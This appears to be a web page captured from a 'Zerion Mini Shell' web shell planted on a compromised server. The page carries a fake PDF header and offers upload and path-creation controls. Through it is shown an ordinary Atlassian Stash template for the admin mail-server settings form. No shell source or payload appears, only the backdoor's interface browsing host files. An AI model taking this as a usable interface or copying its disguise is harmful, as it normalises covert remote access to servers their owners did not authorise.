%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/985914/root/data/old/home/stash/atlassian-stash/static/page/admin/mailserver/
Upload File :
Create Path :
Current File : //proc/985914/root/data/old/home/stash/atlassian-stash/static/page/admin/mailserver/mailserver.soy

{namespace stash.admin}

/**
* @param isConfigured
* @param config
* @param? fieldErrors
* @param? formErrors
* @param? saved
* @param? tested
* @param? testFailureMessage
*/
{template .mailserverconfig}
{webResourceManager_requireResourcesForContext('stash.page.admin.mailServer')}
{call stash.layout.admin}
    {param activeTab: 'admin-settings-mail-server' + ($isConfigured ? '' : '-unconfigured') /}
    {param content}
        <header class="aui-page-header">
            <div class="aui-page-header-inner">
                <div class="aui-page-header-main">
                    <h2>{getText('stash.web.config.mail')}</h2>
                </div>
            </div>
        </header>
        {call widget.aui.group.group}
            {param content}
                {call widget.aui.group.item}
                    {param content}
                        {if $saved}
                            {call widget.aui.message.success}
                                {param content}
                                    {getText('stash.web.config.mail.saved')}
                                {/param}
                            {/call}
                        {/if}
                        {call widget.form.xsrfProtectedForm}
                            {param action: '' /}
                            {param errors: $formErrors /}
                            {param extraClass: 'stash-mailserver-form' /}
                            {param content}
                                <h3>{getText('stash.web.config.mail.settings')}</h3>
                                {call widget.aui.form.text}
                                    {param id: 'hostname' /}
                                    {param labelContent: getText('stash.web.config.mail.hostname') /}
                                    {param tooltip: getText('stash.web.config.mail.hostname') /}
                                    {param initialValue: $config.hostname /}
                                    {param required: true /}
                                    {param errors: $fieldErrors ? $fieldErrors.hostname : null /}
                                    {param autofocus: true /}
                                    {param description: getText('stash.web.config.mail.hostname.description') /}
                                {/call}
                                {call widget.aui.form.text}
                                    {param id: 'port' /}
                                    {param labelContent: getText('stash.web.config.mail.port') /}
                                    {param tooltip: getText('stash.web.config.mail.port') /}
                                    {param initialValue: $config.port /}
                                    {param errors: $fieldErrors ? $fieldErrors.port : null /}
                                    {param description: getText('stash.web.config.mail.port.description')/}
                                    {param sizeClass: 'short' /}
                                {/call}
                                {call widget.aui.form.text}
                                    {param id: 'username' /}
                                    {param labelContent: getText('stash.web.config.mail.username') /}
                                    {param tooltip: getText('stash.web.config.mail.username') /}
                                    {param initialValue: $config.username /}
                                    {param errors: $fieldErrors ? $fieldErrors.username : null /}
                                    {param autocomplete: 'off' /}
                                    {{param description: getText('stash.web.config.mail.username.description') /}}
                                {/call}
                                {call widget.aui.form.password}
                                    {param id: 'password' /}
                                    {param labelContent: getText('stash.web.config.mail.password') /}
                                    {param tooltip: getText('stash.web.config.mail.password') /}
                                    {param initialValue: $config.password /}
                                    {param errors: $fieldErrors ? $fieldErrors.password : null /}
                                    {param autocomplete: 'off' /}
                                    {{param description: getText('stash.web.config.mail.password.description') /}}
                                {/call}
                                {call widget.aui.form.checkbox}
                                    {param id: 'useTls' /}
                                    {param labelContent: getText('stash.web.config.mail.useTls') /}
                                    {param legendContent: getText('stash.web.config.mail.useTls') /}
                                    {param isAssistive: true /}
                                    {param checked: $config.useTls /}
                                {/call}
                                <div class="field-group">
                                    <div class="description">{getText('stash.web.config.mail.useTls.description')}</div>
                                </div>
                                {call widget.aui.form.text}
                                    {param id: 'serverEmail' /}
                                    {param labelContent: getText('stash.web.config.server.email') /}
                                    {param tooltip: getText('stash.web.config.server.email') /}
                                    {param initialValue: $config.serverEmail /}
                                    {param required: true /}
                                    {param errors: $fieldErrors ? $fieldErrors.serverEmail : null /}
                                    {{param description: getText('stash.web.config.server.email.description') /}}
                                {/call}

                                {call widget.aui.form.buttons}
                                    {param content}
                                        {call widget.aui.form.submit}
                                            {param id: 'save' /}
                                            {param isPrimary: true /}
                                            {param accessKey: 's' /}
                                            {param label: getText('stash.web.button.save') /}
                                        {/call}
                                        {call stash.buttons.button}
                                            {param id: 'delete' /}
                                            {param href: nav_admin_mail_server()/}
                                            {param buttonText: getText('stash.web.button.delete') /}
                                        {/call}
                                    {/param}
                                {/call}

                                <h3>{getText('stash.web.config.mail.test')}</h3>
                                {call widget.aui.form.fieldset}
                                    {param legendContent: getText('stash.web.config.mail.test') /}
                                    {param isInline: true /}
                                    {param content}
                                        {call widget.aui.form.text}
                                            {param id: 'testAddress' /}
                                            {param labelContent: getText('stash.web.config.mail.test.recipient') /}
                                            {param initialValue: $config.testAddress ? $config.testAddress : null /}
                                            {param errors: $fieldErrors ? $fieldErrors.testAddress : null /}
                                            {{param description: getText('stash.web.config.mail.test.address.description') /}}
                                        {/call}
                                        {call widget.aui.form.buttons}
                                            {param id: 'testButtonContainer' /}
                                            {param content}
                                                {call widget.aui.form.submit}
                                                    {param id: 'test' /}
                                                    {param accessKey: 't' /}
                                                    {param label: getText('stash.web.button.test') /}
                                                    {param tooltip: getText('stash.web.button.test') /}
                                                {/call}
                                                {if $tested}
                                                    {if $testFailureMessage}
                                                        {call widget.aui.form.fieldError}
                                                            {param message}{$testFailureMessage}{/param}
                                                        {/call}
                                                    {else}
                                                        <div class="success">{getText('stash.web.config.mail.test.success')}</div>
                                                    {/if}
                                                {/if}
                                            {/param}
                                        {/call}
                                    {/param}
                                {/call}
                            {/param}
                        {/call}
                    {/param}
                {/call}
            {/param}
        {/call}
    {/param}
    {param pageBottomContent}
        <script>
            require('page/admin/mailServer').onReady('#delete', '#test', '#testAddress');
        </script>
    {/param}
{/call}
{/template}

Zerion Mini Shell 1.0